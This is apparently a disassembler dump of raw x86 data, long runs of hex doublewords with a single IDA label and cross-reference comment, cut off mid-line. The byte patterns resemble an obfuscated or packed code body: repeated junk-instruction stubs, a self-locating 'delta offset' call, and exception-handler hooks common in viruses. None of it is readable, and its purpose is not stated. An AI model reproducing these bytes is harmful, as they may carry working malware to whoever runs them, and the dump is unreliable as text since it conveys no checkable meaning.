61E164Dh, 0DE8h, 743E4A00h, 7A6D2E3Fh dd 43E152FEh, 0CE959F3h, 7D000000h, 923BCFBFh, 135FD03h dd 5B2D9295h, 13899D31h, 0B5FF061Eh, 621B027h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0F3C35242h, 95FF943Ch dd 61E09DDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 33C35646h, 0BB1FFB34h, 0E8EC0373h, 13h, 8FC64B31h dd 8CEE36C3h, 0B4575B46h, 0B362C19Eh, 6648C8F1h, 0FFAAEB81h dd 0D9BD835Fh, 2061E2Bh, 83840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0D55D29C3h dd 0DF8B666Fh, 0E2D858Bh, 6A061Eh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 216343C3h, 93CE38AFh dd 0BF717391h, 7CE581BFh, 6A0000C6h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F9DC355h dd 0C81h, 7E900h, 1C3F0000h, 674D512Ch, 8185C781h, 61E1Fh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0FB5C353h, 8E5BEF0Bh, 0FA819EF4h dd 26BD8589h, 8D89061Eh, 61E2EB9h, 0FFF250E9h, 52006AFFh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0D6B31920h, 1F719D8Bh, 9D8B061Eh, 61E2211h, 9D8BC18Bh dd 61E16B1h, 19DD858Dh, 6A061Eh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 388892C3h, 41D8AA91h dd 5FBB6650h, 24048905h, 0CC3EBF66h, 5E9006Ah, 5A000000h dd 3BEDFE4Fh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 3A76CFC3h, 61E4E552h, 83C78166h dd 97858DEDh, 6A062301h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 8689C357h, 0D7710A05h dd 0D8414788h, 2C219D8Bh, 0C083061Eh, 95B53105h, 50061E0Eh dd 6E8h, 0EDC5D900h, 0E9D6D9D0h, 9, 9E8EE5DCh, 76C749FBh dd 4895F82h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0A3C88228h, 0CAB442Dh, 2D89B589h dd 6A061Eh, 19C18509h, 9D8B061Eh, 61E1F2Dh, 6A006Ah, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 2E8848C3h, 8A0F56E0h, 6, 165DB529h, 95FF061Eh, 61E21EDh dd 3E0B260h, 1E0849BDh, 8D8D6106h, 62194B6h, 885911BBh dd 89D1FF03h, 1E1AE1BDh, 0FABF0F06h, 272DBD83h, 0F01061Eh dd 9A85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 845E4669h, 895C6AC5h, 1E25C19Dh dd 0E9026A06h, 9, 0DFCF2398h, 0D86FE9D5h, 0DE8B504Ch, 6A240489h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 5DC353h, 7BEF81F9h, 8A116782h, 0F995FFFAh dd 6A061E32h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0E73BC356h, 6072341Ch, 0A099D89h dd 8D8B061Eh, 61E2261h, 0E9F98B61h, 0DB6h, 0E8h, 0ED815D00h dd 62301A1h, 1B9D9589h, 8529061Eh, 61E2DADh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 4FC35646h, 0BD8B2CAEh dd 61E2DDDh, 8DFE858Dh, 8B0F0621h, 8, 0C98D2950h, 5B061E2Fh dd 0CE950h, 0B3F0000h, 8791BF3Fh, 5BCFDF69h, 489912Eh dd 0B1EB8124h, 6446F559h, 35FFh, 9D890000h, 61E02F5h, 268D9D89h dd 8964061Eh, 25h, 0D19D8B00h, 0F061E29h, 38Dh, 0F9B70F00h dd 1D9185FFh, 0B70F061Eh, 8BFF6AFFh, 1E33A9BDh, 91B5FF06h dd 89061E29h, 1E01519Dh, 5595FF06h, 0E9061E16h, 101h, 988E82BBh dd 43E3816Bh, 0B048B9F9h, 0BF0F6000h, 418D29C0h, 61061E29h dd 0C78170E6h, 7BD8CD22h, 858971E4h, 61E1445h, 830F613Ch dd 0D1h, 0C8B60FF5h, 125D9D8Bh dd 6BA061Eh, 0F000000h, 0C18BDBBFh, 7F98589h, 0E8C1061Eh dd 7FC3BB04h, 9D8B04F7h, 61E0EE5h, 8BE2F766h, 1E041DBDh dd 9C82B06h, 1E04B19Dh, 1D18B06h, 1E26F98Dh, 8BE906h, 13E80000h dd 1C000000h, 0A22D29ADh, 731DD64Fh, 0CF1DFA3Dh, 6FDBBF29h dd 0BD8B5FBAh, 61E14DDh, 49858B5Bh, 8A44004Eh, 7C083FEh dd 870F60h, 66000000h, 0C605DF81h, 0C08361h, 2CD9D89h dd 0D03B061Eh, 0F830Fh, 0BF660000h, 3AE9F450h, 29000000h dd 1E21A585h, 0FF8D8B06h, 0FCFFFFFFh, 0F01E183h, 2484h dd 99BD8B00h, 83061E1Dh, 0FFFFFFA5h, 9D8BFEFFh, 61E0E19h dd 4E499589h, 9D014400h, 61E2279h, 0E9h, 0F2B58D00h, 6A06227Dh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 77CFC356h, 161DBD89h, 6A061Eh, 0BE9h, 0E41A4400h dd 7397416Ch, 0D6E7A5BFh, 26C195FFh, 0A2B9061Eh, 0F000010h dd 0C381FABFh, 736EF0DBh, 6AFCE183h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 6E0CC357h dd 9BBB66D4h, 0BD29FCF1h, 61E29E5h, 6AC02Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0C4B495C3h dd 89DD8AC2h, 1E1D718Dh, 0BA06h, 8D0F0000h, 23h, 0DE8h dd 140ED900h, 0E474EDE1h, 0B7A24556h, 0AE8D88Eh, 0E6000000h dd 69CA5FDCh, 0F9E7CE84h, 0AD5B5FF7h, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 6600C355h, 61BF6683h, 0F98B66A5h dd 32D9BD8Bh, 880D061Eh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 4EE6C356h dd 93C78056h, 12E95Bh, 0AFD50000h, 60C12CECh, 0F6493810h dd 0E0963092h, 0FBEEFFAEh, 2375958Bh, 0BE9061Eh, 0E4000000h dd 96AF9FB8h, 2E61D955h, 8D8B76BFh, 61E324Dh, 9E9h, 0DDEC6E00h dd 4EFBA50Bh, 8B50D2FDh, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 8AC35343h, 0DADB2C7Eh, 0F493A07h, 9589DAB7h, 61E33B5h dd 259BD83h, 0F00061Eh, 6D84h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 3956F0FFh dd 719D8B6Eh, 89061E2Eh, 1E233DB5h, 0B806h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 8DFC9BC3h, 1E4CB88Dh, 48E0F06h, 66000000h, 0F8B85ABBh dd 8B0FE1FFh, 6, 22BD9D8Bh, 0BD83061Eh, 61E3169h, 1D840F00h dd 66000004h, 0ED04CF81h, 3169BD83h, 0F01061Eh, 42684h dd 64C38000h, 3169BD83h, 0F03061Eh, 3E086h, 14E900h, 0F1E00000h dd 5FB5111Fh, 0B4BCD2EDh, 92BAD86Dh, 0DA51A34Ch, 8B60CAB5h dd 1E1F2D9Dh, 0D98C6606h, 381BD01h, 0E180061Eh, 56006A04h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0BB64E988h, 11E8C846h, 0D0000000h, 292FAFAEh, 347BB15Fh dd 10E73F03h, 53C2A459h, 1E3DBD8Bh, 0A5B061Eh, 8B840FC9h dd 0F000001h, 68Ch, 10CF8100h, 8B045FA6h, 1E16319Dh, 11858B06h dd 80061E1Ah, 85332FDBh, 61E14BDh, 89FEB70Fh, 1E0465B5h dd 52505006h, 11E8h, 82B000h, 7C9E6974h, 0E3756C78h, 4359F9A1h dd 0F5F0F2Bh, 8A525031h, 51310FDCh, 5A585A5Fh, 24048958h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 78C35242h dd 5FD9FB8Eh, 50329321h, 0CE8h, 4B10A900h, 0F8E15977h dd 0F324B9CDh, 1E62BB68h, 575B75AFh, 0A3C78166h, 6A5B22h dd 0E8F0Fh, 0F600000h, 89h, 25950300h, 61061E1Bh, 4E8h dd 1F03FF00h, 0BCA4BF00h, 505022D8h, 7E952h, 0C8210000h dd 42EC0518h, 60310F7Dh, 0A4E0EEBBh, 0F525069h, 61585A31h dd 448B585Ah, 35BB0424h, 8B417D99h, 158A0F00h, 56000000h dd 0DE8h, 0D52F4B00h, 0E2CA339h, 936BA091h, 5F5BE7BCh dd 4244489h, 11E8h, 0F9DB6100h, 0DE08B43h, 3689C167h, 0B8F90E64h dd 0DE8BC6DAh, 9D89585Fh, 61E1AADh, 144195FFh, 25BF061Eh dd 8963C1B1h, 21B02785h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0B99D01FDh, 0E9061E09h dd 1B4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 0FAC35646h, 23218F94h, 0BD8BA2E6h, 61E1479h, 23619D0Bh dd 858B061Eh, 621B01Fh, 4890Fh, 0BB660000h, 0C714D6h, 18h dd 19C19D8Bh, 0B58B061Eh, 621B023h, 858BDEB7h, 61E1CC9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0FBC35242h dd 8D140AE6h, 25F004h, 0F50689F1h, 13519D29h, 858B061Eh dd 61E1A11h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0B8C35242h, 3A3D33A4h, 0A8A0FD7h, 60000000h, 8D896160h dd 61E1CA9h, 4468961h, 6830Fh, 0BD8B0000h, 61E1989h, 13E996h dd 94880000h, 0B3120845h, 5A9E9F21h, 318D9B3Dh, 0A3A2F948h dd 6660504Fh, 8BD4DEBAh, 6A9661F1h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0BD33C357h dd 8E9CCh, 0BF490000h, 671DA23Bh, 0B5FF5F91h, 621B01Fh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 3C35141h dd 987063C4h, 59D8B4Fh, 68061E1Fh, 33F9A169h, 731DBB66h dd 96243481h, 8933E6A2h, 1E2AC99Dh, 27858D06h, 0F0621B0h dd 6690FFBFh, 0BF50DA8Bh, 4E5FEDC7h, 12E890h, 0B6410000h dd 934CE2F3h, 57D2368Fh, 0F2134FA5h, 97F6F4A6h, 758AD381h dd 0FF5F257Dh, 1E144195h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0FC8A2671h dd 0E5B50161h, 0C7061E19h, 1E316985h, 306h, 0FFC8A00h dd 0D80h, 81666000h, 8BE8AFEBh, 1E0CA9BDh, 0BD836106h dd 621B027h, 2A840F00h, 89000000h, 1E224DB5h, 3AE906h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0A68B49C3h, 0C3050F3h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 39C35141h, 51006A49h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0BD2BACD8h dd 61E25C9h, 3169BD83h, 0F03061Eh, 4E185h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 40AA2950h, 29E62974h, 1E0411B5h, 27BD8306h, 621B0h dd 4AC840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 5D8038C3h, 0DE6774E6h, 0E8F48589h dd 0Ch dd 23A31633h, 0C277AEA8h, 5CCB0834h, 32D59589h, 895F061Eh dd 1E19E58Dh, 27B5FF06h, 0B0621B0h, 1E00E5BDh, 81B52906h dd 0FF061E23h, 1E155595h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0B58BF9D9h dd 621B01Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0CBC35545h, 106C7h, 880F0001h, 16h, 11E9h, 0A077CC00h dd 9A6B5951h, 0BBD40590h, 67ACB1D6h, 8B509506h, 243489DFh dd 5E9h, 0C3F1DC00h, 0B5FF9130h, 621B027h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0E7C35141h, 0E55FBDACh dd 5063E46Fh, 5FBF66CCh, 3D95FF31h, 6A061E2Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 5309C352h, 0FCA02CBDh, 5BD0345h, 8B061E03h, 21B01BB5h dd 6DB58906h, 8B061E30h, 1E2BD1BDh, 21858B06h, 6A061E2Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 636DC350h, 95296F2Bh, 61E0391h, 1811BD89h dd 8689061Eh, 0C4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 2AC35343h, 0C923921Bh, 71BF6608h, 75958BE1h dd 56061E23h, 835FDE8Bh, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0F88B61C3h, 3840Fh, 8B660000h dd 205089DFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 9EC35242h, 709DEADFh, 9D8B6672h, 61E2779h, 0C4A4858Dh dd 6A0621h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 8B66FCC3h, 1E05559Dh, 8ABF6606h, 0B8868954h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0A5E2C351h, 6AF98B2Ch, 0C1B58900h dd 2B061E25h, 1E0CB9BDh, 27B5FF06h, 8B0621B0h, 1E07F99Dh dd 0F995FF06h, 31061E32h, 1E03E585h, 0EDBB5006h, 893D51E7h dd 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 9FEA71C3h, 92D86E1h, 0E9CAA5F8h, 8, 53F8B7BCh dd 9691ECE2h, 0B027B5FFh, 80600621h, 890F19EBh, 6, 2099B589h dd 0FF61061Eh, 1E304995h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 32AEBD35h dd 3E159C7Dh, 12E963ADh, 23000000h, 0C0495A42h, 1B3BC6EFh dd 0CBA3FEADh, 788FF5E9h, 0B9BD8389h, 61E0Dh, 48840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 780610C3h, 9D89BF46h, 61E1759h, 0FE996h dd 0AFF0000h, 0D76C1243h, 888A1Dh, 0CDDCBC3Ah, 32BB50F5h dd 9651888Eh, 2069BD8Bh, 0B5FF061Eh, 621B027h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0F2C35646h, 0DECCF514h dd 51588380h, 4D95FFA1h, 6A061E16h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 14BCC350h dd 2D85896Fh, 0FF061E1Eh, 21B027B5h, 0CF816606h, 805285EEh dd 0FF5F41D3h, 1E09DD95h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 2B7CDFA0h dd 0AB7B0E76h, 12E91C55h, 1C000000h, 0A9189CEAh, 0E79B5FF3h dd 88C7FBBCh, 0C42209D7h, 0D9BD8320h, 2061E2Bh, 6A840Fh dd 0F7800000h, 2D858B6Bh, 6A061E0Eh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 3DEDC357h dd 0FE8B6684h, 27219589h, 890F061Eh, 0 dd 6A0000C6h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 2702C352h, 0DE9C8E7h, 0FC000000h dd 284C511Dh, 0AC6E74DFh, 67E5E77Ah, 1F8185C7h, 61Eh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 6660D7C3h, 29CA6ABBh, 1E31858Dh, 0BB666106h, 22E98B65h dd 6AFFFFF3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 425CC351h, 0BE9h, 0A0F96600h dd 0FA384B03h, 8E6E26CAh, 16D1BD8Bh, 0C18B061Eh, 1545BD89h dd 858D061Eh, 61E19DDh, 0D88B6690h, 79E3BB50h, 6A902B44h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 165BC356h, 9D89C75Bh, 61E0DF1h, 2F39BD8Bh dd 6A061Eh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 51C35040h, 6AD5A8F0h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0A1B72BCBh dd 4A42B345h, 0B501D440h, 61E1A9Dh, 11A3858Dh, 6A0623h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 67661CC3h, 0D6868890h, 0E8FFE6D6h, 11h, 0EF97ED42h dd 295335B7h, 0DF32F05Bh, 0A7E2441Eh, 5B7CB734h, 6605C083h dd 6690D88Bh, 6050F88Bh, 0C28B6650h, 61E88A58h, 50006A90h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 5C34F6D3h, 6AF99C1Bh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 9FD9BBBDh, 6A006A86h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0AC3C355h, 95FF5A2Fh, 61E21EDh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0FEC35141h, 816056D3h dd 51C0B2F3h, 0D7816620h, 5F61F6DAh, 94B68D8Dh, 6A0621h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0A9A5A1C3h, 0BAD331A6h, 89B7A77Bh, 1E2719BDh, 8BD1FF06h dd 1E1F95BDh, 2DBD8306h, 1061E27h, 91850Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0FAD612C3h, 0C78166F8h, 26AA5E3h, 0EE5BD2Bh, 0F50061Eh dd 8Bh, 24048900h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 21C35040h, 0F995FFD3h, 6A061E32h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0AFF2C357h, 0E2BAC803h, 0E964E10Dh, 0Fh, 19D1BE30h dd 67FCFA12h, 0B614C5D6h, 0E996C448h, 0D1Fh, 0E8h, 0ED815D00h dd 62311ADh, 0FE9h, 60818400h, 0F88672D0h, 0C929E138h dd 0BE93EDC6h, 858DDE8Bh, 6218DFEh, 10B390F5h, 0BE950h dd 3B360000h, 0B80495ABh, 51F090BFh, 0FF649089h, 35h, 0DDBD8900h dd 64061E01h, 2589h, 81510000h, 47E9C7F3h, 85FF5B5Ah, 61E1D91h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E0C35747h dd 80C7A74Bh, 0FF6A85EBh, 10E8h, 0AB830100h, 534AC79Dh dd 0DF648DF4h, 0F942D090h, 6890F04h, 0F000000h, 88h, 0B5FF5B00h dd 61E327Dh, 0EE9h, 0A3037800h, 0A744D9FEh, 3485C9B6h dd 609A5C25h db 0E8h, 10h word_580046 dw 0 ; DATA XREF: ___:off_427A80o ; ___:00427A88o ... dd 305B6900h, 5F254979h, 68F1539Dh, 0BC7C42E5h, 295FF93Eh dd 1E2FD1B5h, 95FF6106h, 61E1655h, 12CE9h, 8B0F00h, 66000000h dd 0B02915BBh, 19958900h, 1061E16h, 1E02C99Dh, 8B70E606h dd 1E275D9Dh, 6671E406h, 0F917CB81h, 830F613Ch, 0FDh, 8E8h dd 0B25A6500h, 0B206AABFh, 0B60F5FB3h, 3810FC8h, 66000000h dd 6BAD98Bh, 8B000000h, 0C19589C1h, 0C1061E01h, 296004E8h dd 1E00D59Dh, 6ADA8006h, 66DF8B61h, 0C82BE2F7h, 25A59589h dd 7E9061Eh, 80000000h, 6BAC7527h, 0D18BF52Fh, 42080CBFh dd 0A3E96Eh, 9600000h, 1E2CCD85h, 0F2B96606h, 858B61F1h dd 505F4C4Ch, 0F07C083h, 0C083D8B7h, 0AE900h, 34F0000h dd 762ABC28h, 41BFEF6Fh, 830FD03Bh, 11h, 0ED58589h, 66E9061Eh dd 89000000h, 1E0A09BDh, 0FF8D8B06h, 60FFFFFFh, 13E8h dd 0C085DD00h, 95EA474Bh, 0A6F5162Dh, 0DAD97C35h, 0BA6C47ADh dd 12219529h, 0F5B061Eh, 8361C8BFh, 840F01E1h, 2Dh, 1CC5BD8Bh dd 0A583061Eh, 0FFFFFFFFh, 0A99D8BFEh, 89061E07h, 5F4C4C95h dd 75CB8150h, 0F22475Ch, 388h, 0FE8B6600h, 0E9h, 94B58D00h dd 0F06228Eh, 286h, 6ADA8B00h, 0DE8B6600h, 26C195FFh, 6A061Eh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 66C126C3h, 0E577F381h, 0CF9BD2Bh, 74B9061Eh, 0F800000Fh dd 0FFCE183h, 8BFCF8B7h, 1E2DAD9Dh, 0B806h, 0B5290000h dd 61E2215h, 6AD22Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 95296C3h, 0EF814257h, 3964D515h dd 1D719D33h, 33AD061Eh, 3E8D1C2h, 4E983D0h, 0DE8BF475h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 68C35141h dd 960D29CDh, 79A334DBh, 0D19D8B0Ah, 0D061E29h, 88h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 94C35545h, 8B6258DEh dd 75958BD9h, 6A061E23h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0C1EAC350h, 8D8B2C36h dd 61E324Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 22C35141h, 50F103E6h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 11BD8B48h, 6A061E27h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0B9A5C355h dd 0FFEEBB8Ch, 3A612D2Eh, 14E8h, 0F666CD00h, 83468421h dd 21F04046h, 2948013Eh, 0A588C572h, 0BD835B9Ah, 61E0259h dd 99840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 759DC353h, 0EE9410Ah dd 0FD000000h, 0AB40C783h, 1F5B8E18h, 2E510FDBh, 81BF57EFh dd 5F70F009h, 8E8h, 0B4587000h, 335B62D9h, 619529CAh, 5F061E30h dd 0B8h, 0B88D8D00h, 0BB061E4Ch, 403AC585h, 0DE9h, 4720BF00h dd 5E569F69h, 4356BAD4h, 0E1FFAB7Eh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0EFC35141h, 738FF6DCh, 0B589DF8Bh dd 61E0085h, 3169BD83h, 0F00061Eh, 3E384h, 0BD83F800h dd 61E3169h, 0F0840F01h, 6A000003h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0D831C351h dd 0FA8B486Eh, 3169BD83h, 0F03061Eh, 38C86h, 6820F00h dd 9000000h, 1E3191B5h, 6A6006h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0B70F74C3h, 0D98C66DBh dd 0A672BB66h, 6004E180h, 0E0D858Bh, 0F53061Eh, 8Eh, 0A615A00h dd 8D840FC9h, 6A000001h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0B54BC350h, 0F7646D1h dd 685h, 419D2900h, 8B061E03h, 1E1A1185h, 0EE96006h, 8F000000h dd 77520CECh, 0C32CC656h, 93325CBDh, 61CE8B15h, 14BD8533h dd 8B60061Eh, 1E1545BDh, 75B58B06h, 61061E33h, 6690D88Bh dd 5050DA8Bh, 7E852h, 476C0000h, 725ECC75h, 10E854h, 0BC900000h dd 0A108DA72h, 5D8D8F30h, 58810C51h, 5B5F782Fh, 0F60310Fh dd 86h, 585A6100h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0A72F4D29h, 0BD030A3Bh dd 61E1F39h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 66CBEFC3h, 2268F88Bh, 816511A2h dd 0A1DD2434h, 6A650Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 114F13C3h, 9D89A345h, 61E2A61h dd 144195FFh, 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0AA2950C3h, 0E6297440h, 8D29C318h dd 61E0549h, 10E9h, 4122B400h, 9F03D4EDh, 0A958AB00h, 9EC49033h dd 278589D1h, 660621B0h, 4041C381h, 159E9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 6E9DAh, 0FC800000h, 3CB1C6A5h, 0B01F858Bh, 6A0621h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0FBCAAC3h, 89h, 1800C700h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 9499C350h dd 0F53AC24h, 8B5BD8B7h, 21B023B5h, 0F605106h, 6160C7B7h dd 858B5B61h, 61E1CC9h, 8E9h, 6F604600h, 77169F29h, 6A0689BAh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 0FCCC352h, 68Eh, 0B5853100h, 8B061E16h, 1E1A1185h dd 905EBB06h, 0BD8B3CA6h, 61E26D9h, 8B044689h, 1E14519Dh dd 8E0F5006h, 3, 89D98B66h, 6E92434h, 4E000000h, 83A18D8Bh dd 1FB5FF0Bh, 660621B0h, 68F7D3BFh, 8CEF8C60h, 481DF8Bh dd 2F779F24h, 0FAC38173h, 8D54AC47h, 21B02785h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0C35B52C8h, 7A4BCE2h, 0F3810814h, 1F08311h, 24048950h dd 1CB1BD89h, 95FF061Eh, 61E1441h, 6A618EB7h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0F6BBC357h, 21BD8B2Ch, 0C7061E2Eh, 1E316985h, 306h dd 27BD8300h, 621B0h, 43840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0F8613BC3h dd 0EE8h, 7BF30500h, 0CFDEF5DEh, 7ACE21E0h, 0FA59DD1h dd 80h, 21E95F00h, 89000000h, 1E29C185h, 0C305006h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 4EC35646h, 1255371h, 89D6D1E5h dd 1E0F05BDh, 9D89F506h, 61E3199h, 3169BD83h, 0F03061Eh dd 41185h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 0F7836DE1h, 83FE8A4Eh, 21B027BDh dd 840F0006h, 3E2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0BDC35545h, 0B5FF4D01h, 621B027h, 1E25BD0Bh dd 95FF061Eh, 61E1555h, 0B01BB58Bh, 6A0621h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 8749BBC3h dd 89A74D11h, 1E0DF585h, 35850106h, 8B061E32h, 106C7FAh dd 6A000100h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 8A38C355h, 0C4736E45h, 823B5FD3h dd 5E8h, 63065D00h, 